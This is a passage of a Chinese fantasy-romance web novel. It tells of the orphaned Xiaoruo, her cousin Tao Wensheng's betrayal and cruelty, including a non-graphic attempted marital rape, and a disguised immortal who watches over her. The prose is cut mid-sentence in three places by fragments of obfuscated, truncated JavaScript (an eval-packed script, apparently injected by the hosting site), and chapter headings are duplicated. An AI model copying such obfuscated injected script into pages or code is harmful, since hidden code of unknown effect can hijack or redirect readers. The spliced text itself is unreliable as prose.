她也不外出走动,只在长风崖待着,大部分时间打坐修炼。 闲下来,就看镜子捋一捋记忆。 不捋不知道,一捋心惊肉跳,越看越尴尬。 几个师弟轮番上门拜访问安,她敢见的只有柳宜均和赵玄檀,其余人统统阻拦在门外。 直到有一日,林果果忽然进来,通报道:“仙长仙长,陶仙君和陛下在虚妄天打起来了!” 王心若正在看书,闻言头也没抬,她记得郑含元跟她说过,他向所有师弟下了战书,说是要锻炼锻炼他们。 “打就打,正好磨砺一下小十,他那身铜头铁臂再不用退化了。” 林果果摇头,急道:“仙长,那哪是磨砺,那简直是惨无人道的单方面虐打,我看场面快控制不住了才赶忙来找你的!” 王心若一听,呼吸一滞,她忘了郑含元还是魔身,魔身战斗若上头了,可不存什么理智。 至于郑含元为何下手这么重…… 王心若想了想,要是她自己,也许,可能……也收不住手。 谁让陶闻生在人间时那么狗呢。 44. 生岁不满百(2) 43.生岁不满百(2) 都说浪子回头金不换,但晚一步的回头,终究只能换声嗟叹。 江南六月,梅子成熟,细雨如酥,水雾朦胧。 白墙黑瓦的陶家宅院傍水而建,院旁绿柳在白墙上打下一片翠影。 因这恼人雨季,陶家小少爷也不似以往那般爱出门玩耍。 陶家是镇上大户,陶老爷年过半百,小少爷闻生是他膝下唯一的男丁,今年十二岁,自然是在千娇万宠中长大。 “闷死了闷死了,什么时候才不下雨啊,玩也玩不尽兴!”陶闻生不好读书,拿笔在纸上随意图画成墨团,发泄着不满。 “少爷,还有一个月呢,您再等等。”老嬷耐心劝道。 “一个月太长了,我讨厌下雨!”陶闻生把纸揉成纸团,跑了出去,绵绵细雨落在他发间衣上,正跑到正院门时,陶家主母一行人从门外进来,他才生生刹住脚。 陶闻生并非主母所出,而是一个死去的姨娘生下的,姨娘在时,已将他寄养在主母名下。 主母看他毛毛躁躁跑出来,赶忙让丫鬟为他撑伞,而后训道:“闻生,今日外客到来,怎么如此莽撞?” “外客?”陶闻生问后,才发现主母身旁的确牵着一个他从未见过的女童。 那女童细眉杏眸,肤白如雪,颊上眼下有颗红痣,乌发齐整整绾着双环髻,并无簪饰,穿着素色衣裙,看起来就像他案上摆的瓷娃娃。 “闻生,这是你姨母家的女儿小若,你该叫她表妹的。”主母向他解释,而后俯下身,和那女童轻声说:“小若乖,这是你表哥。” 那女童眉眼虽精致,细看却发现目光有些呆滞,主母又和她说了几句话,她才有些笨拙地朝陶闻生福身,道了声:“表哥好。” 陶闻生好久未见生人,像个小大人一样点头热络道:“小若表妹好,今年几岁了?” 对方却没回应。 陶闻生有点尴尬,埋怨道:“娘,表妹怎么这么……” 没礼貌三个字还没说出口,主母前将他拉到一旁道:“闻生,你表妹原本也十分开朗。只是去年,你姨母一家从外地回来,路遇劫杀……你表妹小小年纪,便目睹亲生父母惨死,后来,拼死救她的乳母也去了,自那之后,她便成如今这般样子,你就当她是个小孩子,她没听清,多说几遍就成。你是哥哥,多帮帮她。” 这番话自然打动了陶闻生,而这表妹又长得冰雪可爱,自然激起他的保护欲。 他说:“娘,你放心,我会好好护着表妹。” “娘还有其他事,把小若交给你,你们是同龄人,你多耐心陪陪她。”主母吩咐完他,又回到小若身边,与她轻言几句,待她点头后,主母才放心离开。 陶闻生也学着主母的样子俯身看着她的眼睛说话,怕她听不清,所以说得极慢。 她也回得慢。 陶闻生原不是个有耐心的人,但在家憋闷许久,好不容易有陌生人,他自是觉得新鲜。 他撑伞带着她走遍陶府,给她介绍每一间房,每一处花草,每一个人。最后引她去主母安排的屋子,“这就是你的屋子,你往拐角去,那间是我的,以后有什么事,你除了找你姨母,也可以找我。当然,想出去玩,就只用找我。” 小若没说话,只是看着他因给她多撑伞而微湿的半边衣衫,杏眸微动。 陶闻生说了许多,口干舌燥,也想回去歇着,便和她道别,回了自己屋。 他摇摇头,对身旁老嬷说:“可真是个小傻子,连声谢谢和再见都不会说。” * 阴雨连绵,陶闻生无趣,便想到自家的傻表妹。 他拉着她看自己买来的蛐蛐和促织们,他拿其中一只吓唬她,却发现对方毫无反应。 他拉着她玩投壶,她只会拿着羽箭傻呆呆看着,他投时即便百发百中,她也只木讷着在一旁看,目光里毫无波澜。 他拉着她玩叶子牌……这个更难,他索性放弃。 只有一个时候,他感到她不那么木讷。 他随手递了块桌上盘中置着的枣子糕给她。 她接过,轻咬一口,毫无波动的双眸终于有了一点点微弱的光。 实在难得,于是,陶闻生对她说:“这桌上的糕点你都可以吃,只要你喜欢。” 可没想到,她真的一口一口,将那糕点都吃进腹中。 陶闻生喜辣不喜甜,老嬷给他端来的糕点,他常碰也不碰,陶府不喜过夜食,他不吃,又常忘了赏给下人,总是轻易浪费。看她竟能吃,陶闻生想,以后这些糕点有着落了。 只是对一个女童而言,吃得太多。 “不腻吗?”他问。 小若摇摇头,吃完糕点,拿起帕子轻轻擦擦嘴,小声说了句,“谢谢表哥。” 哦……原来不是不会说。 陶闻生又气又想笑,第一日带她逛那么久,还不如给她吃剩糕点来的能让她谢他的好。 “你若喜欢吃,天天来我这儿吃呗。” 小若点点头,难得抿出一个浅浅的笑。 * 一个月过去,难得天霁云清,陶闻生又可以出去找人玩,每日脸上都洋溢着灿烂的笑容。 外面花花世界,自然比这白墙一隅有趣,他很快就把这个傻表妹忘在身后。 再次记起来,是私塾里,几个朋友讨论起婚嫁大事。 都是十岁上下的臭小子,什么都不懂,却聚在一起夸夸其谈。 有人说:“我还没出生时,我娘就给我订了娃娃亲,说要把舅舅家的女儿许配给我。” 有人搭话,“那不就是你表妹么?” 那人回:“是啊,就是我表妹,我表妹长得可好看了,那大眼睛,那樱桃嘴,比天上仙女还漂亮!而且还对我百依百顺、言听计从!” “金大少真厉害,你们必是郎才女貌!” 还有人插话:“欸,我也是,我和我表妹虽未定亲,但我娘说了,待表妹及笄,就让我们成婚。” 周围纷纷起哄,不乏质疑之声,“都是嘴上说说,骗人的吧?” 有人忽然点名陶闻生,“陶小少爷,你呢?金少都定亲了,像你这等人家,肯定也早有打算。” 陶闻生哪懂什么婚事,但那金家少爷是他对头,二人总互相攀比,又听他们讨论到表妹,便回道:“那是自然了!我的未婚妻也是我表妹,长得国色天香,比花还漂亮。她还极听我话,我让她往东,她不敢往西。” 有人坏心引战,“不知道金大少和陶小少爷的表妹哪个更漂亮呢?” 金大少和陶闻生自然争执起来。 口说无凭,在众生拱火下,他们约定三天后把自己表妹带过来,让大家评评。 事实上,说完后陶闻生就后悔了。 小若不是正常人,她受过刺激,看起来傻呆呆的,到时候出了岔子,他不仅会被众人耻笑,还会被娘训斥。 于是,他找上小若,邀请她去屋中吃糕点,并把想带她去私塾的想法告诉她。 小若点头。 ”去那,你一定什么都听我的。“ 小若依旧点头。 陶闻生心里忐忑,终于迎来三日后。 为搞出排场,他还专门让家中轿夫把小若抬来。 当他看到金少的表妹时,他就觉得自己赢了。 那女孩也漂亮可爱,眉目却不如小若精致,肤色也没小若白。 只可惜一点,那女孩眼光有神,小若却是个”木美人“。 轿子抵达时,陶闻生得意地掀开帘子,亲手拉小若下轿。 单就这一系列行为,排场就比金少大,更何况小若的容貌也确实在金少表妹之上。 围观的都是乳臭未干的少年,当时就有直肠子说:“陶少表妹确实更好看。” 金少不满,“我爹说了,娶妻娶贤,漂亮没用,关键是听话。我表妹很听我话,来,小伊,给表哥捏捏腿。” 当着众人面,小伊果然蹲下为他捏腿。 金少朝陶闻生丢去一个挑衅的眼神。 陶闻生一把搂住小若,冷笑嘲讽他:“有本事的男子汉都是疼媳妇的,不是使唤媳妇的。捏腿捶背、一味听话的那是丫鬟,我表妹只要每天乖乖待在家里,等我回家就行。” 他只顾自己得意,却没发现小若轻轻重复了“媳妇”两个字。 小若抬起头,问他:“表哥,你以后会娶我么?” 陶闻生自然回道:“我会娶你啊,我还会好好疼你。” 小若敛眸,余光望向搂着她的那只手,若有所思。 这场闹剧在起哄声里逐渐散场。 回去时,二人同轿,小若忽然说:“我爹也是那样对我娘。” “什么?”陶闻生还沉浸在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你做噩梦了?” “他们死了……” “表妹,那是梦,不是真的。” “他们死了,全是血……” 她惊慌失措,像溺水之人抓着最后一块浮木一样紧攥着他的衣袖,满面泪痕。 无论陶闻生如何解释,她都沉浸在自己的悲痛世界中。 陶闻生一急,紧紧搂住她,“表妹,已经过去了。你别怕,我在呢,那些人再也伤不着你。” 许是这句话说得重了些,感到另一人炽热的体温,小若瞬间大脑空白,渐渐不再颤抖,只伏在他肩上无声哭泣。 她哽咽着,反复只说了一句话。 “我会记着。” * 陶闻生才知道她每夜都会做噩梦。 他说:“以后我让老嬷把糕点送你屋中,你若是怕了,便坐下吃些糕点,甜一甜,就不怕了。” 小若点点头。 第二年初春,璨璨上元夜,在主母吩咐下,陶闻生带着小若上街看花灯。 街上姑娘笑语盈盈,暗香流动,小若望着那些灿灿明灯却极其安静。 安静到陶闻生一看见杂耍表演,便忘了身边有这个人。 当他回过神后,小若已被人流冲散。 他惊慌失措,一个尚未及笄的少女,单独在这喧嚣街市,是十分危险的。 他拼命问人,却无人知晓那少女下落。 他后悔万分,找遍街巷,寻尽河岸,终于在河岸尽头荒林之中觅得佳影。 小若是被人贩子绑走的,她反应迟钝,被打晕前甚至没来得及呼救。 那些人贩子本欲侮辱她,却被忽然出现的墨袍少年用剑捅了个干净。 那少年见她模样十分年轻,轻声道:“这回应该来得及吧……” 他本欲上前自我介绍,谁想小若见他脸上溅的血和沾血的长剑步步后退,眼中愈发惊慌,最后甚至捂着眼睛惊哭出声,像疯了一般。 他想说些什么,身后传来愠怒的声音,“你对她做了什么?” 少年回身,便看见陶闻生年轻的容貌。 陶闻生先没理他,走到小若身旁蹲下,轻声道:“表妹,你还好么?” 小若看见陶闻生,才微微回神,渐渐不再哽咽。 墨袍少年站在二人身后,紧握着剑柄,指节微微发白。 45. 生岁不满百(3) 44.生岁不满百(3) 安抚好小若后,陶闻生起身,质问那少年:“你到底对我表妹做了什么,让她害怕成这个样子?” 少年用树叶拭去剑上血渍,散漫道:“我做了什么?我杀人了。” 陶闻生毕竟富贵地、温柔乡中长大,对这种拿着真刀真枪,身带煞气之人还是略有些畏惧。 不过畏惧归畏惧,总不至于太怂,他斥道:“我表妹受不得刺激,你在她面前杀什么人!” 少年勾唇,嘲讽道:“陶闻生,我不杀人,你表妹的清白就没了。你不谢我,还指责我,你算什么东西?再说,这么个小姑娘,怎么会一人出现在这荒郊野林,你为何不在她身边,你怎么当的哥哥?” 陶闻生心中原就有愧,此时被他戳破,语气不自主虚下来,“你……你……你怎么知道我名字!” 少年哈了一声,“我不单知道你名字,我还知道你屁股上有个红胎记。” 以前还在天界时,师兄弟偶尔约着泡个温泉,哪个在他这有秘密?何况陶闻生拜入仪光门下时,还是个憨豆丁。 陶闻生又羞又气,涨红了脸,“你浑说什么,你到底是谁!” “我是你爹。” 陶闻生三番四次被他羞辱,怒道:“若非看在你似乎是救了我表妹的份上,我一定打死你。” “这么个身板,还想打死我?” 两人虽都正当少年,但少年和少年间还是有些差距。 那不知名的少年眉目俊美,身形高大,随身带的那柄佩剑是重剑,没好的功夫底子绝无法轻松执起。他唇畔噙着一丝嘲讽不屑的笑,一身绣银竹的墨袍勾出他宽肩窄腰,也增添了浑身的冷厉之气。 陶闻生身披锦绣,腰束玉带,头戴金冠,浑身透着富贵公子气息,和狐朋狗友站一起倒也显出几分俊朗威武,但站在少年面前,便显得有些单薄孱弱。以至于他对少年的愤怒,都像小犬吠狼。 陶闻生压着怒火问:“你说你杀人,人呢?” “炸了。”凡人躯体怎能承受如此磅礴的仙剑灵气,当场爆炸成灰。 “炸了?你开什么玩笑?” 那少年和他周旋许久,耐心尽失,敛起笑容,提剑指着陶闻生道:“你再废话一句,我让你也炸了。” 陶闻生原本还有些底气,被剑这么一指,面色一变,“你别乱来啊!我可是镇西陶家的少爷,你敢杀我,你也吃不了兜着走。” 少年刚想前进一步,原本在一旁自我冷静、默不作声的小若却忽然跑上前,推开陶闻生,自己站在他剑前。 少年看她明明满眼畏惧却仍颤着身子站在剑前,无奈之下,只好收剑,走上前去。谁知他往前一步,那姑娘就一脸崩溃后退一步,显得他像什么凶神恶煞的恶人。 明明是救人,却没讨到半分好,还被当成坏人。 少年自嘲一笑,“怪没意思的。” 他就要转身离去,却听那姑娘小声道:“谢谢……” 她看也不敢看他一眼,连谢谢都是勉勉强强逼着自己说出口的。 少年忍了又忍,才没把“白眼狼”三字说出口。他不想再看见二人,背着剑负气离去,发誓这一世随她去,他懒得干涉。 陶闻生哄着小若,回了陶府。 * 翌日,陶府某护院忽然告病还乡。 后日,陶府来了个新护院。 新护院武艺高强,要价极低,容颜俊俏,唯一不好的就是脾气太差。 你若和他说废话超过两句,他必黑脸,超过三句,直接赶人。 一开始丫鬟姨娘们还偶尔和他攀谈几句,后面便不敢再招惹这“冰美人”。 “冰美人”第一天来,就把表姑娘小若吓得一次房门也没出。 “冰美人”只好问小若的贴身侍女,这位表姑娘是不是十分胆小软弱。 侍女说,表姑娘不是胆小软弱,只是幼时经历,让她比起常人有点傻,性子很古怪,受不得一些特殊刺激。 侍女把前因后果讲给他。 他仔细回想了下自己杀当时那几人时的场景,才恍悟一件事,若是天界的师姐看到,的确没什么;可对一个凡人,尤其是有心理阴影的凡人,那场景太过血腥。 开局不顺,十分郁闷。 他问侍女:“有什么能让表小姐开心的事么?” 侍女诚实回答道:“少爷来看表小姐时,她会比较开心。” 他问:“有没有别的?” 侍女答:“用晚膳时。” “她喜欢吃?” 侍女摇摇头,“用晚膳时,少爷也在。” 他:…… “就没有和陶……少爷无关的?” 侍女说:“勉强有一个,小姐喜欢吃甜食糕点。” 他哦了声,随手掏块银子给她,“谢谢,以后常合作。” 侍女咬咬银子,不可思议惊叹:“你这么有钱,还来当什么护院。” 他嗯了声,“主要是想体验下生活。” 不超过一炷香,他挑个院中无人的时间,左手抱着一堆糕点,右手杵着糖葫芦棍,站在小若门前,用脚轻轻踢了踢门。 侍女出来,见他这样子,“你去抢了门口的糕点铺子和糖葫芦小贩?” “把这些送给表小姐,当我给她赔罪。” 侍女忽然一脸警惕,“你们这是私相授受,我不能害了小姐。” “私相个屁,你帮我,我给你钱。” “要是小姐不接呢?” “你就说是那天杀人的人给她赔礼的,她要不收,他就会再次出现。” 事实上,说出这句话,他心里十分憋屈。 赔钱赔礼不说,还得抹黑自己逼她收礼。 这特么都什么事! “行吧,但小姐吃不吃我就不能保证了。”侍女拜倒在铜臭味下,接过两米高的糖葫芦棍,生怕摔了上面扎的满满的糖葫芦。安顿好糖葫芦棍后,她把糕点一点点收起来。 第二天,他又拄着新的糖葫芦棍、提着新的糕点油纸包站在她门前。 侍女看见时,吓得不轻,连道:“还送这么多?小姐吃不完呐。” “吃不完你吃。” “我俩也吃不完,别说俩人,四个人也吃不完。” “谁让你们吃完了,你摆在那,当装饰也行,看这红红火火的,多漂亮。” “……”侍女无言。 屋内忽然有动静,侍女回身,才发现小若隔着屏风,露出半张脸,在看着他们。 只是触到他的目光时,又悄悄往屋内缩回去。 他也觉得自己送礼物送得有些浮夸,把东西给侍女后,想着以后便不这么送。 第三日,侍女给他一张字条,他打开后,发现上面写的是“谢谢”二字。 “也太敷衍了,而且这字写的……” 不是一般的丑,比他的狗爬字还丑。 侍女道:“你埋怨什么?写字对小姐来说难比登天,她现在压根不识字,就这两字也是我教她对着书一笔一笔勾出来的。” 他清了清嗓子,收起字条,“好吧,她现在还很怕我?” “我也不知道你哪吓到小姐了,她的确不敢见你。” 他又问:“我来这几天怎么没见你们陶少爷?” 侍女笑了,“你见不到是正常的,陶少爷啊,好赌好酒,整日不沾家,谁知道他什么时候回来?” “这么浑?” “没办法,老爷夫人疼,顶多嘴上说几句,以前还好些,现在愈发不着调。唉,你说你看起来也是个富家少爷,却甘愿来陶家做护院,对小姐少爷这么上心……你是不是对我家小姐有意思?” 他刚想反驳谁会对个傻妞有意思,后面却改口道:“是,你愿不愿意牵这个线?” 侍女沉思一会,“你要是真心的,我一百个愿意;你若是骗人,我做鬼也不放过你。” “这么狠?” “小姐吃的苦够多了,我不希望在这事上,她还要受到愚弄。” 他点头,“你大可以放心。” * 他不再送那么多糕点,每日只送一块精致的小糖人。 送糖人的第五日,小若终于敢从屏风后走到门边。 她有些木讷对他说:“谢谢。” “你就只会说一句谢谢啊。”他道。 她扶着门边,垂下眼帘,沉默不语。 “我叫郑思如。”他继续说,“心思的思,如若的如,你记好了。” 小若轻轻点头。 “记住了?” 小若抬眸飞快扫他一眼,点点头。 “记住的话,叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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小若嗯了声,看他额上汗,从袖中抽出帕子,替他轻轻拭去。 他近距离看着她认真的眉眼,忽然有份不真实的梦幻感。 “你还记得我叫什么吗?”他问她。 小若一愣。 “你天天管陶闻生叫表哥,也这么叫叫我吧?” 小若眼中盛满疑问,“表哥?” 郑思如咳了一声,“不是……就是那种……你们女孩子对年长男子的称呼。” 小若想了会,道:“郑大哥?” 郑思如摸摸鼻子,“也不是不行,如果你能加上我的名字,我会更开心。” 小若又想了会,道:“思如哥哥?” 郑思如呼吸一滞,平复了下心情,点头,“就这个。” “哦,好。” 明明这么平平淡淡的声音,愣是让他耳根煞红。 他想着,差不多了,他也许可以问问她愿不愿意跟他走。 上一世他就是缺乏循循善诱,才让她对他第一印象不佳,这辈子不能再犯同样的错误。他要一步一步走进她的心,让她心甘情愿跟他走,成功避开非自然死亡结局。 他刚开口,却听见有人往院里跑来。 他只好赶忙回避墙后。 只听那人气喘吁吁跑到小若身前,求道:“表小姐,不好了,老爷和夫人要用家法惩治少爷,怎么劝都不听,您去帮着求求吧,也许夫人会听您的话。” 小若无法理解他的话,只是站在那里有些愣愣看着他。 那人似也知道自己说的太长,便精简道:“老爷夫人打少爷,您求求情。” 小若低声道:“表哥被打?” 那人急忙点头。 侍女道:“你说清楚些,少爷为何被打?” 那人是陶闻生身边的跟班,他自然清楚缘由,却不好在小若面前直说,拉着侍女走到一旁,轻声道:“少爷他从青楼里带回一个姑娘,和老爷夫人说要娶她,这可不把老爷夫人气死了!” 侍女脸色一变,“这事我家小姐可不帮忙!” 他二人拉扯这番,却没发现,小若已经奔着前厅去了。 46. 生岁不满百(4) 45.生岁不满百(4) 小若来到前厅,看见陶老爷拿着藤鞭质问跪着的少年:“你这不成器的东西,当真要娶她?” 小若这才注意到陶闻生身旁跪着一个姑娘,那姑娘身段纤袅,衣衫单薄,单是背影便让人生出怜惜意,更别提她此时梨花带雨、楚楚动人的面容。 主母看见小若,眼神示意老嬷把她带走,“小若,谁让你来的。这不是你该待的,回房吧。” 小若感到屋内紧张的气氛,在门边踟蹰不前,老嬷想掺着她回屋,她却推开她,低低说声:“别打表哥。” “不打他?你知道他做了什么造孽事?”陶老爷拿着鞭子,一脸恨铁不成钢。 主母扯扯他衣袖,“老爷,她懂什么,你仔细着说话。” 陶老爷脸色涨得通红,额边青筋突突地跳,他指着陶闻生怒喝道:“这个逆子,我和你娘已给你定下林家姑娘,你二人也相看过,不日便问名。你平日花天酒地我都睁一只眼闭一只眼,可婚姻大事,你怎能出尔反尔、如此混账!从烟花之地给我找儿媳,亏你这孽障想的出来,书都读到狗肚子里去了!” 陶闻生被他当众训斥,沉不住气回嘴道:“我为何一定要娶那林家姑娘?我爱叶儿,叶儿是卖艺不卖身的好姑娘,怎能用出身衡量人品?除了叶儿,我谁也不娶,谁也不要!” 小若闻言,眼中浮上迷茫之色,喃道:“表哥,你说过你会娶我。” 她话音刚落,屋内有一瞬安静。 场面本就混乱,陶老爷险些被这话气晕。 陶闻生回头急道:“表妹,你瞎掺和什么?我何时说娶你了?”他低头赶忙和那跪在地上的孱弱女子解释:“叶儿,你别听她的话,她从小脑子不好使,总胡言乱语。” 小若只是缓缓道:“五年前的九月十二日,你在私塾外说的。” 她鲜少如此清晰说完一句话一件事,所以当她如此说时,这句话便极具真实的力量。 主母脸色变了又变,终是什么也没说,长叹一口气,坐回椅上,“闻生,娘原以为你不过生性好玩些,没想到你连诓骗表妹的事也做得出,你实在太让娘失望。” 陶老爷忍无可忍,挥鞭落下。 小若跑上前想握住那鞭子,然那力度太大,粗糙的鞭身擦着她的掌心划过,甩到陶闻生和叶儿身上。 陶闻生下意识护住叶儿,胳膊和背上皆被抽到,鞭尾扫过叶儿那白皙的面庞,留下一道红肿擦痕。 “儿时戏言哪里能当真?那时我才多大,她才多大,说那些话不过是为了和金钰攀比,又不是真心的,谁会当真?表妹,你清醒一点,今日之事原和你无关!”陶闻生伤处火辣辣的疼,看着叶儿脸上的伤,更愧疚自己没保护好她。 小若没回应,自顾自道:“两年前的五月十日,你在房中说,有你在,别人再也伤不着我。” 陶闻生气极反笑,“我安慰你也有错么?若我料到今日你拿这些事来说,当初我就该让你自己痛哭去,再也不管你!” 主母闭眸抚额,陶老爷握着鞭子的手颤得愈发厉害。 一直跪在地上的叶儿忽然面色惨白昏了过去,陶闻生赶忙搂她入怀,脸色煞白,赶忙哀求两位高堂,“爹娘,求你们给她找个大夫吧,事后怎么惩罚孩儿,孩儿都认了,但不能搞出人命来啊!” 主母脸色一变,“人命?” 陶闻生这才闭闭眼,一口气全说出口,“叶儿怀了我的骨肉,我无论如何也要给她一个名份。” 陶老爷两眼一翻,彻底昏厥过去,主母慌乱,赶忙叫小厮出去找大夫。 为免场面太过混乱,老嬷在主母授意下强行拉着小若离开。 * 一场闹剧以悲剧收尾。 叶儿身体孱弱,腹中胎儿未保住;陶老爷年事已高,被气得半身不遂。 主母光照顾陶老爷已心力交瘁,再无心思管束陶闻生。 陶老爷躺在床上,悔不当初,“怨我没好好教他,怨他亲娘死得太早,怨你我平日太宠他……” 这陶老爷年轻时也是个风流人物,老的不以身作则,小的有样学样。 叶儿养好身子,因无法忍受院里下人的指点,和老嬷婆子时不时有意的刁难,又跑回楼里。 陶闻生这痴情种子,自然也随她跑了。 仆人家丁跑去请,不顶用,绑他回来,三天两头又偷跑走。 翻来覆去只有一句话:“叶儿正是脆弱的时候,我要对她负责。” 主母听后,气得把镯子砸碎,“负责负责,他懂什么叫负责?” 陶闻生也憋着一口气,跑出家门未拿家中一分钱,他赌技良好,十把赢六把,不至于一夜暴富,但维持得住花天酒地的开销。若实在不顶用,便去做苦工短工。 没钱去做工去赌,有钱去看叶儿,陶闻生在外头过上这般生活。 主母实在受不了,让老嬷叫来小若,吩咐她带几个家丁去把陶闻生从赌坊或酒楼拽回家。 老嬷不解:“表小姐会有这能耐?” 主母道:“你和她说,若她能劝闻生回家,我就做主让她嫁给他。横竖我家和林家的婚事吹了,他的浑名在镇上也传开,大户人家女儿哪个愿嫁他。如此凑一对,小若下半辈子也有着落。” 自那日后,小若已许久不出房门,老嬷便来劝她。 她对主母自然言听计从,带着家丁,在侍女的指引下,走到闹哄哄的赌坊。 赌坊里三教九流人员混杂,极其喧闹,空气中弥漫着难言的气味。 里面的每个人眼中都闪烁着一种狂热的情绪,盯着桌上的筹码、木牌和骰子。 小若一眼便看到人群中的陶闻生。 陶闻生一身灰衣,挽着袖口,坐在正中间,正在摇骰子。 小若一行人挤进赌坊,自然引人注意。 她还没走到陶闻生身边,就被他发现。 他面色瞬间阴沉下来,当即放下骰盅,说声“不玩了”,便隐在人群中,从后门跑走。 小若只好带着极尴尬的一群人退出赌坊,去街巷上寻他,最终无果而返。 第二次找他时,他背对着门,所以没发现她。 走到他身后时,她才小声叫“表哥”。 他头也没回。 她就一直站在他身后,像个木头桩子。 过了一个时辰,他才淡淡道:“你要想一直站在这也可以,我不会管你。” 他继续与人热络,接下来直到黄昏,真得再未理过她。 夕阳西斜,他收好银票,准备出门,经过她时,连个眼神也没给。 她跟在他身后,说:“表哥,回家吧。” 他依旧不理会,直往那花柳之地行去。 跟着他的小若被老鸨拦住,老鸨笑道:“姑娘,咱这儿可不能随意进去。” 侍女也劝道:“小姐,咱们回家吧,时候不早了。” 小若只好作罢。 第三次、第四次……连着几天,她一直去赌坊,站在他身后,一句话也不说,就那么站着。 终于第七天,他离开时,对她说了一句话。 “你果然有病,从小就有病。” 小若什么也没说,依旧跟在他身后。 今日,他没直接去楼里,在路上买了许多糕点,还有一些小首饰,将它们精细包装起来,提在手上。 陶闻生忽然开口:“今日也要随我走到楼前?日复一日,你不烦么?” 那语气很冷。 小若沉默良久,突然问道:“表哥,那些糕点,我可以吃么?” 陶闻生像听到什么笑话似的,嘲讽道:“你杀了我的亲生骨肉,还想吃我买给叶儿的糕点?” “我没杀……” “若非你那日胡言乱语,老头子怎会鞭笞我,叶儿怎会受到惊吓,她的孩子怎会流掉?难道我还要和颜悦色对你么?你就是那撕也撕不掉的狗皮膏药,希望你记着,我从未想过要娶你,不要再自作多情。” “表哥,我听不懂。” 陶闻生冷笑一声,“算了。” 他进了楼里,原本此时,小若也会打道回府。 可今日,她一直目不转睛望着楼里。 “我想进去。”她道。 老鸨说:“姑娘,你想进去也不是不行,可要钱呐!” “钱?”她念道,望向腕上玉镯,将之褪下,递给老鸨,“够吗?” 老鸨娇娆一笑,“您请。” 她便跟随着陶闻生上楼,走到他进的屋子门前。 她听见里面欢声笑语,听见他很温柔地和那位叶儿姑娘说:“叶儿,今日是你生辰,我给你买了礼物。” 叶儿娇声道:“陶郎, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他打量她许久,忽然讽笑道:“像你这样的人,会有正常人的情感么?” 她迷茫地眨了眨眼。 他继续自顾自笑着说道。 “你看,连我这么说你,你都听不懂话里意思。” “你是不是觉得你很爱我,很想嫁给我?” “但其实你什么都不懂,只不过是我嘴贱,安慰你几句罢了。如此廉价的嘘寒问暖,就能让你记到如今,我谢谢你。” “我谢谢你把叶儿的住址告诉我娘,结果叶儿不见了,在镇上彻底消失了。” “我以前不爱读书,书上有句话叫‘我不杀伯仁,伯仁却因我而死’,今日我算彻底懂这句话。也许你很天真,你什么都不懂,可叶儿就是因你失了孩子,又因你失踪。我恨我自己,我也恨你。” “你凭什么这么天真又这么残忍?凭什么做错了事一点愧疚也没有?凭什么对这一切一无所知却又对我自以为是的执着深情?” “你懂什么是感情么?你懂什么是真正的男女之情么?” 小若盯着他,他一下子说了太多话,她难以理解,可她知道,他讨厌她。 他讨厌她,为何还要娶她。 陶闻生有些疯癫地笑了起来,“你看,你真的不懂,你眼睛告诉我你不懂。” “我告诉你,我看见叶儿时,她皱一皱眉,我的心便碎了;她笑一笑,我的世界都晴了;看见她的眉毛,我就想轻抚她的眉毛;看见她的嘴唇,我就想亲一亲她的嘴唇;看见她的手,我便想握住。可是看见你,我只觉得可笑。” “你只会说,我说过什么,我说过什么,可你根本分不清世上的感情。” “现在我的感情、我的所爱也不见了,我寻她那么久,她不见了……你呢,你凭什么安稳坐在这儿?” 陶闻生将喜秤丢到地上,发出清脆的声响。 他解开衣衫,眼中没有丝毫情.欲,却将她重重推在床榻上,毫不怜惜撕开她的衣衫。 “你不懂,我来教你。” 47. 生岁不满百(5) 46.生岁不满百(5) 发上银饰因撞击掉落在床上,硌得人疼,绾好的乌发也散落在绣鸳鸯的红喜被上。 看着这样的陶闻生,小若觉得陌生而害怕。 可她唯一能为自己辩解的话就是“我没有”。 她以为他娶她是因为记起来当年的承诺,原来并不是。 叶儿姑娘不见了,和她有什么关系,为什么表哥要生她的气? 她推不开他,痛苦万分。 他对她曾也是温柔的,怎么如今便不是了?究竟哪里错了?人为何会变? 她流不出泪,只觉得他粗.鲁的动作弄得她很痛。 她只能轻声问他:“表哥,我做错了什么?” 她的声音在嘈杂中显得愈发清晰,在混乱中显得如此平静,唤回他的理智,陶闻生终于停手。 他深呼吸一口,平复心情,然后起身坐到一边。 他颓废地埋头膝间,小若躺在一旁,衣衫凌乱,鬓发散落,双目茫然。 他抬起头,看她一会,自嘲一笑,扯过锦被随意盖在她身上,然后穿好衣衫,下榻离去。 打开门时,冷风灌入,他未回头,就这样没入夜色。 守夜侍女十分惊愕,赶紧进门,坐到塌边问:“小姐……你……你和少爷……” 小若拢拢锦被, “叶儿姑娘不见了。” 侍女眼神略有一丝犹疑,“不见,不是好事么?” 小若摇摇头,“我困了,要睡觉。” 侍女叹息,帮她吹熄蜡烛,悄悄退出去。 哪有新妇第一夜丈夫便甩门而出的,只怕这为人媳妇的岁月会比以前做表小姐更难。 那边,陶闻生离开院子的路上撞上一个人。 夜里不大看清脸,他只觉得略有些眼熟。 那人拦住他的路,他刚想开口,却十分突然被砸了一个拳头。 鼻间一热,血就这么流下来。 二人扭打在一处,但很快,他便有所不敌,被那人死死摁在地上捶。 那人有着丰富的干架经验,知道捶哪儿既看不出伤痕,又让人无比疼痛。 他被打晕,躺在地上昏过去。 打他的人便是刚从别院回来的郑思如。 郑思如这段时间郁闷到极点。 他隐约发现,但凡他掺和进师姐的天劫中,他的法力便开始时灵时不灵,并且总有突如其来的事打乱他做事的节奏。 就拿这段时间来说,陶老爷中风后对这倒霉儿子心灰意冷,主母便想给他新置一处宅院,让他修养。 